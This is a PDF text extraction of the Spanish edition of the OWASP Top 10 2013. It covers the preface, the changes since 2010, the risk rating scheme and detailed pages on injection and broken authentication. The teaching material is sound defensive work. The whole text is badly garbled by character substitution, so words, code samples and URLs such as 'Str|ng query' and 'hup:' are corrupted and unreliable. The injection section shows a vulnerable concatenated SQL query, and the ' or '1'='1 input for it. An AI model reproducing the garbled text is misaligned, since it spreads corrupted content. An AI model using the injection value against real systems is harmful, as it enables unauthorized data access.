Вы находитесь на странице: 1из 22

C

Acerca de CWAS
Derechos de Autor y L|cenc|a
CopyrlghL 2003 - 2013 1he CWAS loundauon

LsLe documenLo se dlsLrlbuye ba[o la llcencla 3.0 de Creauve Commons Aurlbuuon ShareAllke. ara cualquler
reuullzacln o dlsLrlbucln, debe de[ar claro los Lermlnos de la llcencla de esLa obra.
refac|o

Ll soware lnseguro esL deblllLando las nanzas, salud, defensa,
energla, y oLras lnfraesLrucLuras crlucas. A medlda que la
lnfraesLrucLura dlglLal se hace cada vez ms comple[a e
lnLerconecLada, la dlculLad de lograr la segurldad en apllcaclones
aumenLa exponenclalmenLe. no se puede dar el lu[o de Lolerar
problemas de segurldad relauvamenLe senclllos, como los que se
presenLan en esLe CWAS 1op 10.

Ll ob[euvo del proyecLo 1op 10 es crear conclencla acerca de la
segurldad en apllcaclones medlanLe la ldenucacln de algunos de
los rlesgos ms crlucos que enfrenLan las organlzaclones. Ll
proyecLo 1op 10 es referenclado por muchos esLndares, llbros,
herramlenLas, y organlzaclones, lncluyendo Ml18L, Cl uSS, ulSA,
lC1, y muchos ms . LsLa versln de CWAS 1op 10 marca el
anlversarlo numero dlez de esLe proyecLo, de conclenuzacln sobre
la lmporLancla de los rlesgos de segurldad en apllcaclones. CWAS
1op 10 fue lanzado por prlmera vez en 2003, con acLuallzaclones
menores en 2004 y 2007. La versln 2010 fue renovada para dar
prlorldad al rlesgo, no slo a la prevalencla. La edlcln 2013 slgue el
mlsmo enfoque.

Lo lnvlLamos a que uullce el 1op 10 para hacer que su organlzacln
se lnlcle en la Lemuca sobre segurldad en apllcaclones. Los
desarrolladores pueden aprender de los errores de oLras
organlzaclones. Los e[ecuuvos deben comenzar a pensar como
gesuonar el rlesgo que las apllcaclones de soware crean en sus
empresas.

A largo plazo, le recomendamos que cree un programa de segurldad
en apllcaclones que sea compauble con su culLura y su Lecnologla.
LsLos programas vlenen en Lodas las formas y Lamanos, y debe
evlLar LraLar de hacer Lodo lo prescrlLo por algun modelo de
procesos. Ln camblo, debe de aprovechar las forLalezas exlsLenLes
en su organlzacln para hacer y medlr lo que le funclone a usLed.
Lsperamos que CWAS 1op 10 sea uul para sus esfuerzos de
segurldad en apllcaclones. or favor no dude en ponerse en
conLacLo con CWAS para sus dudas, comenLarlos, e ldeas, ya sea
publlcamenLe a owasp-LopLen[llsLs.owasp.org o en prlvado a
dave.wlchers[owasp.org.
Acerca de CWAS

Ll proyecLo ablerLo de segurldad en apllcaclones Web (CWAS por
sus slglas en lngles) es una comunldad ablerLa dedlcada a faculLar a
las organlzaclones a desarrollar, adqulrlr y manLener apllcaclones que
pueden ser conables. Ln CWAS enconLrar graLulLas y ablerLas .

- PerramlenLas y esLndares de segurldad en apllcaclones
- Llbros compleLos de revlslones de segurldad en apllcaclones,
desarrollo de cdlgo fuenLe seguro, y revlslones de segurldad en
cdlgo fuenLe
- ConLroles de segurldad esLndar y llbrerlas
- CaplLulos locales en Lodo el mundo
- lnvesugaclones de vanguardla
- LxLensas conferenclas alrededor del mundo
- LlsLas de correo

Aprenda ms en: hups://www.owasp.org

1odas las herramlenLas de CWAS, documenLos, foros, y caplLulos
son graLulLas y ablerLas a cualqulera lnLeresado en me[orar la
segurldad en apllcaclones. Abogamos por resolver la segurldad en
apllcaclones como un problema de personas, procesos y Lecnologla,
ya que los enfoques ms efecuvos para la segurldad en apllcaclones
requleren me[oras en Lodas esLas reas.

CWAS es un nuevo upo de organlzacln. nuesLra llberLad de
preslones comerclales nos permlLe proveer lnformacln sobre
segurldad en apllcaclones sln sesgos, prcuca y efecuva. CWAS no
esL allada con nlnguna companla de Lecnologla, aunque apoyamos
el uso lnsLruldo de Lecnologlas de segurldad comerclal. Al lgual que
muchos oLros proyecLos de soware de cdlgo ablerLo, CWAS
produce muchos upos de maLerlales en una manera ablerLa y
colaborauva.

La fundacln CWAS es una enudad sln nlmo de lucro para asegurar
el exlLo a largo plazo del proyecLo. Casl Lodos los asoclados con
CWAS son volunLarlos, lncluyendo la [unLa dlrecuva de CWAS,
comlLes globales, llderes de caplLulos, los llderes y mlembros de
proyecLos. Apoyamos la lnvesugacln lnnovadora sobre segurldad a
Lraves de becas e lnfraesLrucLura.

}nase a nosoLros!
8|enven|dos
8lenvenldos al CWAS 1op 10 2013! LsLa acLuallzacln profundlza sobre una de las caLegorlas de la versln 2010, a n de ser ms lncluslvo,
sobre lmporLanLes vulnerabllldades comunes, y reordena algunos de los dems basndose en el camblo de los daLos de prevalencla. 1amblen
presenLa un componenLe de segurldad como cenLro de aLencln, medlanLe la creacln de una caLegorla especlca para esLe rlesgo, sacndolo
de la oscurldad de la leLra pequena del 1op 1en 2010, A6: La conguracln de segurldad lncorrecLa.

Ll CWAS 1op 10 2013, se basa en 8 con[unLos de daLos de 7 rmas especlallzadas en segurldad de apllcaclones, lncluyendo 4 empresas
consulLoras y 3 proveedores de herramlenLas /SaaS (1 esLuco, dlnmlco 1, y 1 con ambos). LsLos daLos abarcan ms de 300.000
vulnerabllldades a Lraves de clenLos de organlzaclones y mlles de apllcaclones. Las vulnerabllldades del 1op 10 son selecclonadas y prlorlzadas
de acuerdo a esLos daLos de prevalencla, en comblnacln con esumaclones consensuadas de exploLabllldad, deLecLabllldad e lmpacLo.

Ll ob[euvo prlnclpal del 1op 10 es educar a los desarrolladores, dlsenadores, arqulLecLos, gerenLes, y organlzaclones , sobre las consecuenclas
de las vulnerabllldades de segurldad ms lmporLanLes en apllcaclones web. Ll 1op 10 provee Lecnlcas bslcas sobre como proLegerse en esLas
reas de alLo rlesgo - y Lamblen provee orlenLacln sobre los pasos a segulr.
Advertenc|as

No se detenga en e| 1op 10. LxlsLen clenLos de problemas que
pueden afecLar la segurldad en general de una apllcacln web , Lal
como se ha dlscuudo en la Cula de uesarrollo CWAS y
CWAS CheaL SheeL. LsLe documenLo es de lecLura esenclal para
cualqulera que desarrolle apllcaclones web hoy en dla. una efecuva
orlenLacln en como enconLrar vulnerabllldades en apllcaclones
web es sumlnlsLrada en las Cula de ruebas CWAS y la
Cula de 8evlsln de Cdlgo CWAS.

Camb|o constante. LsLe 1op 10 conunuar camblando. lncluso sln
camblar una sola llnea de cdlgo en la apllcacln, es poslble llegar a
ser vulnerable, ya que al descubrlrse nuevos defecLos, los aLaques
son renados. or favor, revlse los conse[os al nal del 1op 10
rxl mos pasos para uesarrol l adores, verl cadores y
Crganlzaclones" para mayor lnformacln.

|ense pos|nvamente. Cuando se encuenLre preparado para de[ar
de buscar vulnerabllldades y focallzarse en esLablecer conLroles
seguros de apllcaclones, CWAS ha producldo el
Appllcauon SecurlLy verlcauon SLandard (ASvS) como una gula
para organlzaclones y revlsores de apllcaclones que deLalla los
conLroles de segurldad a verlcar en una apllcacln.

Un||ce herram|entas |nte||gentemente. Las vulnerabllldades de
segurldad pueden ser basLanLe comple[as y enconLrarse oculLas en
monLanas de cdlgo. Ln muchos casos, el enfoque mas eclenLe y
econmlco para enconLrar y ellmlnar dlchas vulnerabllldades es la
comblnacln de experLos armados con buenas herramlenLas para
reallzar esLa Larea.

ush |eh. Lnfocarse en hacer que la segurldad sea parLe de la
culLura organlzaclonal a Lraves de Lodo el clclo de desarrollo. uede
enconLrar ms lnformacln en
Cpen Soware Assurance MaLurl Ly Model (SAMM) y
8ugged Pandbook.
Agradec|m|entos

Craclas a AspecL SecurlLy por lnlclar, llderar, y acLuallzar el CWAS
1op 10, desde sus lnlclos en 2003, y a sus auLores prlmarlos: !e
Wllllams y uave Wlchers.




nos gusLarla agradecer a las slgulenLes organlzaclones que
conLrlbuyeron con daLos predomlnanLes de vulnerabllldades para
acLuallzar el 1op 1en.

AspecL SecurlLy - SLausucs
P - SLausucs LanLo de lorufy como de WeblnspecL
Mlnded SecurlLy - SLausucs
SoLek - SLausucs
1rusLwave, SplderLabs - SLausucs (ver pg. 30)
veracode - SLausucs
WhlLePaL SecurlLy lnc. - SLausucs

nos gusLarla dar las graclas a Lodos los que conLrlbuyeron con las
verslones anLerlores del 1op 10. Sln esLas aporLaclones, no serla lo
que es hoy. 1amblen nos gusLarla dar las graclas a aquellos que han
aporLado comenLarlos consLrucuvos y a los que dedlcaron uempo de
revlsln de esLa acLuallzacln del 1op 10:

Adam 8aso (Wlklmedla loundauon)
Mlke 8oberskl (8ooz Allen PamllLon)
1orsLen Clgler
nell SmlLhllne - (Morpho1rusL uSA) or produclr la wlkl de
esLa versln del 1op 10 y proporclonar lnformacln.

?, por ulumo, nos gusLarla de anLemano dar las graclas a Lodos los
LraducLores por Lraduclr esLa versln del 1op 10 en varlos ldlomas, lo
que ayuda a hacer que el CWAS 1op 10 sea acceslble al planeLa
enLero.
I
Introducc|n
ju ha camb|ado de| 2010 a| 2013?
Ll escenarlo de amenazas para la segurldad en apllcaclones cambla consLanLemenLe. Los facLores clave en esLa evolucln son los avances
hechos por los aLacanLes, la llberacln de nuevas Lecnologlas con nuevas debllldades y defensas lncorporadas, asl como el despllegue de
slsLemas cada vez ms comple[os. ara manLener el rlLmo, acLuallzamos perldlcamenLe el CWAS 1op 10. Ln esLa versln 2013, hemos
reallzado los slgulenLes camblos:

1) 8asados en nuesLros daLos, la erdlda de AuLenucacln y Cesun de Seslones ascendl en prevalencla. ensamos que probablemenLe se
deba a que se esLn reallzando mayores esfuerzos de deLeccln, y no a un aumenLo de prevalencla en sl. or esLe mouvo, lnLercamblamos
las poslclones de los rlesgos A2 y A3.
2) lalslcacln de euclones en Sluos Cruzados (CS8l) dlsmlnuy en prevalencla en base a nuesLros daLos, por lo LanLo descendl de la
poslcln 2010-A3 a la poslcln 2013-A8. Creemos que se debe a que esLe ha esLado duranLe 6 anos en el CWAS 1op 10 , mouvando a las
organlzaclones y desarrolladores de !"#$%&'"() a enfocarse lo suclenLe para reduclr slgnlcauvamenLe el numero de vulnerabllldades en
las apllcaclones del "mundo real".
3) Pemos ampllado lalla de 8esLrlccln de Acceso a u8L desde el CWAS 1op 10 2010 para brlndarle un slgnlcado ms ampllo:
+ 2010-A8: lalla de 8esLrlccln de Acceso a u8L ahora es 2013-A7: Ausencla de ConLrol de Acceso a las lunclones - para cubrlr Lodos los
conLroles de acceso a nlvel de funcln. LxlsLen muchas maneras de especlcar a que funcln se accede, no slo la u8L.
4) Pemos fuslonado y ampllado 2010-A7 y A9-2010 para crear: 2013-A6: Lxposlcln de uaLos Senslbles:
+ LsLa nueva caLegorla fue creada por la fusln de 2010-A7 - AlmacenamlenLo CrlpLogrco lnseguro y 2010-A9 - roLeccln
lnsuclenLe en la Capa de 1ransporLe, adems de anadlr rlesgos de exposlcln de daLos senslbles en el navegador. LsLa nueva
caLegorla abarca la proLeccln de daLos senslbles (dlsunLa al conLrol de acceso, que esL cublerLa por 2013-A4 y 2013-A4) desde que
es provlsLo por el usuarlo, Lransmludo, almacenado por la apllcacln y envlado al navegador nuevamenLe.
3) Pemos anadldo 2013-A9: uso de ComponenLes con vulnerabllldades Conocldas:
+ LsLe Lema fue menclonado como parLe de 2010-A6 - uefecLuosa conguracln de segurldad, pero ahora posee una caLegorla propla
debldo al creclmlenLo del desarrollo basado en componenLes. LsLo ha lncremenLado de manera slgnlcauva el rlesgo de la uullzacln
de componenLes con vulnerables conocldas.
CWAS 1op 10 - 2010 (rev|o) CWAS 1op 10 - 2013 (Nuevo)
A1 - Inyecc|n A1 - Inyecc|n
A3 - rd|da de Autenncac|n y Gesnn de Ses|ones A2 - rd|da de Autenncac|n y Gesnn de Ses|ones
A2 - Secuenc|a de Comandos en S|nos Cruzados (kSS) A3 - Secuenc|a de Comandos en S|nos Cruzados (kSS)
A4 - keferenc|a D|recta Insegura a Cb[etos A4 - keferenc|a D|recta Insegura a Cb[etos
A6 - Defectuosa Conhgurac|n de Segur|dad AS - Conhgurac|n de Segur|dad Incorrecta
A7 - A|macenam|ento Cr|ptogrhco Inseguro - Ius|onada A9 A6 - Lxpos|c|n de Datos Sens|b|es
A8 - Ia||a de kestr|cc|n de Acceso a UkL - Amp||ada en A7 - Ausenc|a de Contro| de Acceso a |as Iunc|ones
AS - Ia|s|hcac|n de enc|ones en S|nos Cruzados (CSkI) A8 - Ia|s|hcac|n de enc|ones en S|nos Cruzados (CSkI)
<dentro de A6: - Defectuosa Conhgurac|n de Segur|dad> A9 - Uso de Componentes con Vu|nerab|||dades Conoc|das
A10 - ked|recc|ones y reenv|os no va||dados A10 - ked|recc|ones y reenv|os no va||dados
A9 - rotecc|n Insuhc|ente en |a Capa de 1ransporte Ius|onada con 2010-A7 en |a nueva 2013-A6
kN
Notas sobre |a vers|n
ju son |os r|esgos de segur|dad en ap||cac|ones?

Los aLacanLes pueden poLenclalmenLe usar ruLas dlferenLes a Lraves de la apllcacln para hacer dano a su negoclo u organlzacln. Cada una de
esLas ruLas represenLa un rlesgo que puede, o no, ser lo suclenLemenLe grave como para [usucar la aLencln.











A veces, esLas ruLas son Lrlvlales de enconLrar y exploLar, y a veces son muy dlnclles. uel mlsmo modo, el dano que se causa puede lr de
nlnguna consecuencla, o ponerlo fuera del negoclo. ara deLermlnar el rlesgo en su organlzacln, puede evaluar la probabllldad asoclada a cada
agenLe de amenaza, vecLor de aLaque, y la debllldad en la segurldad, y comblnarla con una esumacln del lmpacLo Lecnlco y de negoclos para
su organlzacln. Ln con[unLo, esLos facLores deLermlnan el rlesgo global.
k|esgo k|esgos de Segur|dad en Ap||cac|ones
keferenc|as

CWAS
CWAS 8lsk 8aung MeLhodology
Arucle on 1hreaL/8lsk Modellng

Lxternas
lAl8 lnformauon 8lsk lramework
Mlcroso 1hreaL Modellng (S18luL and
u8LAu)

jCu| es M| r|esgo?
Ll CWAS 1op 10 se enfoca en la ldenucacln de los rlesgos ms serlos para una amplla
gama de organlzaclones. ara cada uno de esLos rlesgos, proporclonamos lnformacln
generlca sobre la probabllldad y el lmpacLo Lecnlco a Lraves del slgulenLe esquema de
callcaclones, que esL basado en MeLodologla de Lvaluacln de 8lesgos CWAS.






Slo usLed sabe los deLalles especlcos de su negoclo. ara una apllcacln deLermlnada,
podrla no exlsur un agenLe de amenaza que pueda e[ecuLar el aLaque en cuesun, o el
lmpacLo Lecnlco podrla no hacer nlnguna dlferencla en su negoclo. or lo LanLo, usLed debe
evaluar cada rlesgo, enfocndose en los agenLes de amenaza, los conLroles de segurldad y el
lmpacLo al negoclo. nosoLros enunclamos los AgenLes de Amenaza como especlcos de la
apllcacln, y el lmpacLo al negoclo como especlco de la apllcacln/negoclo, con el n de
lndlcar que esLos son claramenLe dependlenLes de los deLalles especlcos de las apllcaclones
en su empresa.
Los nombres de los rlesgos en el 1op 10 derlvan del upo de aLaque, el upo de debllldad o el
upo de lmpacLo que causan. Pemos elegldo los nombres que ree[an con preclsln los
rlesgos y, cuando es poslble, allneamos con la Lermlnologla comun para aumenLar el nlvel de
conclencla sobre ellos.
Deb|||dad
Ataque
Agentes
de Amenaza
Impacto
Deb|||dad
Ataque
Vectores
de Ataque
Deb|||dades
de Segur|dad
Impactos
1cn|cos
Impactos
a| Negoc|o
Ataque
Impacto
Impacto
kecurso
Iunc|n
kecurso
Deb|||dad
Contro|
Contro|
Contro| Deb|||dad
Contro|es
de Segur|dad
AgenLe
de Amenaza
vecLores
de ALaque
revalencla de
uebllldades
ueLecLabllldad
de uebllldades
lmpacLo
1ecnlco
lmpacLo
al negoclo
Lspec|hco
de |a
ap||cac|on
lcll ulfundldo lcll Severo
Lspec|hco
de |a
ap||cac|n
]negoc|o
romedlo Comun romedlo Moderado
ulncll oco Comun ulncll Menor
Las fallas de lnyeccln, Lales como SCL, CS, y LuA, ocurren cuando daLos no conables son envlados a un
lnLerpreLe como parLe de un comando o consulLa. Los daLos hosules del aLacanLe pueden enganar al
lnLerpreLe en e[ecuLar comandos no lnLenclonados o acceder daLos no auLorlzados.
A1- Inyecc|n
Las funclones de la apllcacln relaclonadas a auLenucacln y gesun de seslones son frecuenLemenLe
lmplemenLadas lncorrecLamenLe, permluendo a los aLacanLes compromeLer conLrasenas, claves, Loken de
seslones, o exploLar oLras fallas de lmplemenLacln para asumlr la ldenudad de oLros usuarlos.
A2 - rd|da de
Autenncac|n y
Gesnn de
Ses|ones
Las fallas SS ocurren cada vez que una apllcacln Loma daLos no conables y los envla al navegador web sln
una valldacln y codlcacln aproplada. SS permlLe a los aLacanLes e[ecuLar secuencla de comandos en el
navegador de la vlcuma los cuales pueden secuesLrar las seslones de usuarlo, desLrulr sluos web, o dlrlglr al
usuarlo hacla un sluo mallcloso.
A3 - Secuenc|a de
Comandos en S|nos
Cruzados (kSS)
una referencla dlrecLa a ob[eLos ocurre cuando un desarrollador expone una referencla a un ob[eLo de
lmplemenLacln lnLerno, Lal como un chero, dlrecLorlo, o base de daLos. Sln un chequeo de conLrol de
acceso u oLra proLeccln, los aLacanLes pueden manlpular esLas referenclas para acceder daLos no
auLorlzados.
A4 - keferenc|a
D|recta Insegura a
Cb[etos
una buena segurldad requlere Lener denlda e lmplemenLada una conguracln segura para la apllcacln,
marcos de Lraba[o, servldor de apllcacln, servldor web, base de daLos, y plaLaforma. 1odas esLas
conguraclones deben ser denldas, lmplemenLadas, y manLenldas ya que por lo general no son seguras
por defecLo. LsLo lncluye manLener Lodo el soware acLuallzado, lncluldas las llbrerlas de cdlgo uullzadas
por la apllcacln.
AS - Conhgurac|n
de Segur|dad
Incorrecta
Muchas apllcaclones web no proLegen adecuadamenLe daLos senslbles Lales como numeros de Lar[eLas de
credlLo o credenclales de auLenucacln. Los aLacanLes pueden robar o modlcar Lales daLos para llevar a
cabo fraudes, robos de ldenudad u oLros dellLos. Los daLos senslbles requleren de meLodos de proLeccln
adlclonales Lales como el clfrado de daLos, asl como Lamblen de precauclones especlales en un lnLercamblo
de daLos con el navegador.
A6 - Lxpos|c|n
de datos sens|b|es
La mayorla de apllcaclones web verlcan los derechos de acceso a nlvel de funcln anLes de hacer vlslble en
la mlsma lnLerfaz de usuarlo. A pesar de esLo, las apllcaclones neceslLan verlcar el conLrol de acceso en el
servldor cuando se accede a cada funcln. Sl las sollclLudes de acceso no se verlcan, los aLacanLes podrn
reallzar peuclones sln la auLorlzacln aproplada.
A7 - Ausenc|a de
Contro| de Acceso a
Iunc|ones
un aLaque CS8l obllga al navegador de una vlcuma auLenucada a envlar una peucln P11 falslcado,
lncluyendo la sesln del usuarlo y cualquler oLra lnformacln de auLenucacln lnclulda auLomucamenLe, a
una apllcacln web vulnerable. LsLo permlLe al aLacanLe forzar al navegador de la vlcuma para generar
pedldos que la apllcacln vulnerable plensa son peuclones leglumas provenlenLes de la vlcuma.
A8 - Ia|s|hcac|n de
enc|ones en S|nos
Cruzados (CSkI)
Algunos componenLes Lales como las llbrerlas, los frameworks y oLros mdulos de soware casl slempre
funclonan con Lodos los prlvlleglos. Sl se aLaca un componenLe vulnerable esLo podrla faclllLar la lnLrusln
en el servldor o una perdlda serla de daLos. Las apllcaclones que uullcen componenLes con vulnerabllldades
conocldas deblllLan las defensas de la apllcacln y permlLen ampllar el rango de poslbles aLaques e
lmpacLos.
A9 - Un||zac|n de
componentes con
vu|nerab|||dades
conoc|das
Las apllcaclones web frecuenLemenLe redlrlgen y reenvlan a los usuarlos hacla oLras pglnas o sluos web, y
uullzan daLos no conables para deLermlnar la pglna de desuno. Sln una valldacln aproplada, los
aLacanLes pueden redlrlglr a las vlcumas hacla sluos de phlshlng o malware, o uullzar reenvlos para acceder
pglnas no auLorlzadas.
A10 -
ked|recc|ones y
reenv|os no
va||dados
110
CWAS 1op 10 de k|esgos de
Segur|dad en Ap||cac|ones
Lspec|hco de |a
Ap||cac|n
Lxp|otab|||dad
ICIL
reva|enc|a
CCM0N
Detecc|n
kCMLDIC
Impacto
SLVLkC
Lspec|hco de |a
ap||cac|n]negoc|o
Consldere a cualqulera
que pueda envlar
lnformacln no conable
al slsLema, lncluyendo
usuarlos exLernos,
usuarlos lnLernos y
admlnlsLradores.
Ll aLacanLe envla aLaques
con cadenas slmples de
LexLo, los cuales exploLan
la slnLaxls del lnLerpreLe a
vulnerar. Casl cualquler
fuenLe de daLos puede ser
un vecLor de lnyeccln,
lncluyendo las fuenLes
lnLernas.
Las fallas de lnyeccln ocurren cuando una
apllcacln envla lnformacln no conable a un
lnLerpreLe. LsLas fallas son muy comunes,
parucularmenLe en el cdlgo anuguo. Se
encuenLran, frecuenLemenLe, en las consulLas SCL,
LuA, paLh o noSCL, los comandos de SC,
lnLerpreLes de ML, encabezados de SM1,
argumenLos de programas, eLc. LsLas fallas son
fclles de descubrlr al examlnar el cdlgo, pero
dlnclles de descubrlr por medlo de pruebas. Los
anallzadores y fuzzers pueden ayudar a los
aLacanLes a enconLrar fallas de lnyeccln.
una lnyeccln puede
causar perdlda o
corrupcln de daLos,
perdlda de
responsabllldad, o
negacln de acceso.
Algunas veces, una
lnyeccln puede llevar a
el compromlso LoLal de el
servldor.
Consldere el valor de
negoclo de los daLos
afecLados y la plaLaforma
sobre la que corre el
lnLerpreLe. 1odos los
daLos pueden ser
robados, modlcados o
ellmlnados. odrla ser
danada su repuLacln
L[emp|os de Lscenar|os de Ataques
Lscenarlo 1: La apllcacln usa daLos no conables en la
consLruccln de la slgulenLe lnsLruccln SCL vulnerable:
Str|ng query = "SLLLC1 * IkCM accounts WnLkL
custID='" + request.getarameter("|d") + "'",
Lscenarlo 2: ue manera slmllar, sl una apllcacln conna clegamenLe
en el framework puede resulLar en consulLas que aun son
vulnerables, (e[., PlbernaLe Cuery Language (PCL)):
uery nLuery = sess|on.createuery("IkCM accounts
WnLkL custID='" + request.getarameter("|d") + "'"),
Ln ambos casos, al aLacanLe modlcar el parmeLro ld en su
navegador para envlar: ' or '1'='1. or e[emplo:
hup:]]examp|e.com]app]accountV|ew?|d=' or '1'='1
LsLo cambla el slgnlcado de ambas consulLas regresando Lodos los
reglsLros de la Labla accounLs". ALaques ms pellgrosos pueden
modlcar daLos o lncluso lnvocar procedlmlenLos almacenados.
jSoy Vu|nerab|e?
La me[or manera de averlguar sl una apllcacln es vulnerable a una
lnyeccln es verlcar que en Lodo uso de lnLerpreLes se separa la
lnformacln no conable del comando o consulLa. ara llamados
SCL, esLo slgnlca usar varlables parameLrlzadas en Lodas las
senLenclas preparadas (prepared sLaLemenLs) y procedlmlenLos
almacenados, evlLando las consulLas dlnmlcas.
verlcar el cdlgo es una manera rplda y preclsa para ver sl la
apllcacln usa lnLerpreLes de manera segura. PerramlenLas de
anllsls de cdlgo pueden ayudar al anallsLa de segurldad a ver como
se uullzan los lnLerpreLes y segulr el u[o de daLos a Lraves de la
apllcacln. Los LesLadores pueden valldar esLos problemas al crear
pruebas que conrmen la vulnerabllldad.
Ll anllsls dlnmlco auLomauzado, el cual e[erclLa la apllcacln
puede proveer una ldea de sl exlsLe alguna lnyeccln exploLable. Los
anallzadores auLomauzados no slempre pueden alcanzar a los
lnLerpreLes y se les dlculLa deLecLar sl el aLaque fue exlLoso. un
mane[o pobre de errores hace a las lnyecclones fclles de descubrlr.
keferenc|as
CWAS
- CWAS SCL ln[ecuon revenuon CheaL SheeL
- CWAS Cuery arameLerlzauon CheaL SheeL
- CWAS Command ln[ecuon Arucle
- CWAS ML eLernal LnuLy (L) 8eference Arucle
- ASvS: CuLpuL Lncodlng/Lscaplng 8equlremenLs (v6)
- CWAS 1esung Culde: ChapLer on SCL ln[ecuon 1esung
Lxternas
- CWL LnLry 77 on Command ln[ecuon
- CWL LnLry 89 on SCL ln[ecuon
- CWL LnLry 364 on PlbernaLe ln[ecuon

jCmo preven|r|o?
LvlLar una lnyeccln requlere manLener los daLos no conables
separados de los comandos y consulLas.
1. La opcln preferlda es usar una Al segura la cual evlLe el uso de
lnLerpreLes por compleLo o provea una lnLerface parameLrlzada.
Sea culdadoso con las Als, como los procedlmlenLo
almacenados, que son parameLrlzados, pero que aun pueden
lnLroduclr lnyecclones en el moLor del lnLerpreLe.
2. Sl una Al parameLrlzada no esL dlsponlble, debe codlcar
culdadosamenLe los caracLeres especlales, usando la slnLaxls de
escape especlca del lnLerpreLe. CWAS LSAl provee muchas
de esLas ruunas de codlcacln.
3. La valldacln de enLradas posluva o de "llsLa blanca" Lamblen se
recomlenda, pero no es una defensa lnLegral dado que muchas
apllcaclones requleren caracLeres especlales en sus enLradas. Sl
se requleren caracLeres especlales, solo las soluclones anLerlores
1. y 2. harlan su uso seguro. La LSAl de CWAS uene una
llbrerla exLenslble de ruunas de valldacln posluva.
A1
Inyecc|n
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
Lspec|hco de |a
Ap||cac|n
Lxp|otab|||dad
kCMLDIC
reva|enc|a
DIIUNDIDC
Detecc|n
kCMLDIC
Impacto
SLVLkC
Lspec|hco de |a
ap||cac|n]negoc|o
Consldere aLacanLes
annlmos exLernos, asl
como a usuarlos con sus
proplas cuenLas, que
podrlan lnLenLar robar
cuenLas de oLros.
Consldere Lamblen a
Lraba[adores que quleran
enmascarar sus acclones.
Ll aLacanLe uullza
lLraclones o
vulnerabllldades en las
funclones de auLenucacln
o gesun de las seslones
(e[. cuenLas expuesLas,
conLrasenas,
ldenucadores de sesln)
para suplanLar oLros
usuarlos.
Los desarrolladores a menudo crean esquemas
proplos de auLenucacln o gesun de las seslones,
pero consLrulrlos en forma correcLa es dlncll. or
ello, a menudo esLos esquemas proplos conuenen
vulnerabllldades en el clerre de sesln, gesun de
conLrasenas, uempo de desconexln (explracln),
funcln de recordar conLrasena, pregunLa secreLa,
acLuallzacln de cuenLa, eLc. LnconLrar esLas
vulnerabllldades puede ser dlncll ya que cada
lmplemenLacln es unlca.
LsLas vulnerabllldades
pueden permlur que
algunas o Lodas las
cuenLas sean aLacadas.
una vez que el aLaque
resulLe exlLoso, el
aLacanLe podrla reallzar
cualquler accln que la
vlcuma pudlese. Las
cuenLas prlvllegladas son
ob[euvos prlorlLarlos.
Consldere el valor de
negoclo de los daLos
afecLados o las funclones
de la apllcacln
expuesLas.
1amblen consldere el
lmpacLo en el negoclo de
la exposlcln publlca de
la vulnerabllldad.
L[emp|os de Lscenar|os de Ataques
Lscenarlo 1: Apllcacln de reserva de vuelos que soporLa re-
escrlLura de u8L ponlendo los lu de sesln en la propla dlreccln:
hup:]]examp|e.com]sa|e]
sa|e|tems,[sesslonld20CC2!uM0CCSnuLSPC!un2!v?
dest=nawa||
un usuarlo auLenucado en el sluo qulere mosLrar la oferLa a sus
amlgos. Lnvla por correo elecLrnlco el enlace anLerlor, sln ser
consclenLe de que esL proporclonando su lu de sesln. Cuando sus
amlgos uullcen el enlace uullzarn su sesln y su Lar[eLa de credlLo.
Lscenarlo 2: no se esLablecen correcLamenLe los uempos de
explracln de la sesln en la apllcacln. un usuarlo uullza un
ordenador publlco para acceder al sluo. Ln lugar de cerrar la sesln,
clerra la pesLana del navegador y se marcha. un aLacanLe uullza el
mlsmo navegador al cabo de una hora, y ese navegador Lodavla se
encuenLra auLenucado.
Lscenarlo 3: un aLacanLe lnLerno o exLerno a la organlzacln,
conslgue acceder a la base de daLos de conLrasenas del slsLema. Las
conLrasenas de los usuarlos no se encuenLran clfradas, exponlendo
Lodas las conLrasenas al aLacanLe.
jSoy Vu|nerab|e?
LsLn correcLamenLe proLegldos los acuvos de la gesun de
seslones como credenclales y los ldenucadores (lu) de sesln
uedes ser vulnerable sl:
1. Las credenclales de los usuarlos no esLn proLegldas cuando se
almacenan uullzando un hash o clfrado. ver el punLo A6.
2. Se pueden adlvlnar o sobrescrlblr las credenclales a Lraves de
funclones deblles de gesun de la sesln (e[., creacln de
usuarlos, camblo de conLrasenas, recuperacln de conLrasenas,
lu de sesln deblles).
3. Los lu de sesln son expuesLos en la u8L (e[., re-escrlLura de
u8L).
4. Los lu de sesln son vulnerables a aLaques de [acln de la
sesln.
3. Los lu de sesln no explran, o las seslones de usuarlo o los Lokens
de auLenucacln. Ln parucular, los Lokens de lnlclo de sesln
unlco (SSC), no son lnvalldados duranLe el clerre de sesln.
6. Los lu de seslones no son roLados luego de una auLenucacln
exlLosa.
7. Las conLrasenas, lu de sesln y oLras credenclales son Lrasmludas
a Lraves de canales no clfrados. ver el punLo A6.
vlslLar la seccln de requlslLos de ASvS v2 y v3 para ms deLalles.
keferenc|as
CWAS
ara un mayor con[unLo de requlslLos y problemas a evlLar en esLa
rea, ver las
secclones de requlslLos de ASvS para AuLenucacln (v2) y Cesun de
Seslones (v3).
- CWAS AuLhenucauon CheaL SheeL
- CWAS lorgoL assword CheaL SheeL
- CWAS Sesslon ManagemenL CheaL SheeL
- CWAS uevelopmenL Culde: ChapLer on AuLhenucauon
- CWAS 1esung Culde: ChapLer on AuLhenucauon
Lxternas
- CWL LnLry 287 on lmproper AuLhenucauon
- CWL LnLry 384 on Sesslon llxauon
jCmo preven|r|o?
La recomendacln prlnclpal para una organlzacln es faclllLar a los
desarrolladores:
1. Un n|co con[unto de contro|es de autenncac|n y gesnn de
ses|ones fuerte. ulchos conLroles debern consegulr:
a. Cumpllr con Lodos los requlslLos de auLenucacln y gesun
de seslones denldos en el Appllcauon SecurlLy verlcauon
SLandard (ASvS) de CWAS, secclones v2 (AuLenucacln) y
v3 (Cesun de seslones).
b. 1ener un lnLerfaz slmple para los desarrolladores.
Conslderar el uso de LSAl AuLhenucaLor y las Als de
usuarlo como buenos e[emplos a segulr, uullzar o sobre los
que consLrulr.
2. Se debe reallzar un gran esfuerzo en evlLar vulnerabllldades de
SS que podrlan ser uullzadas para robar lu de sesln. ver el
punLo A3.
A2
rd|da de Autenncac|n y
Gesnn de Ses|ones
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
Lspec|hco de |a
Ap||cac|n
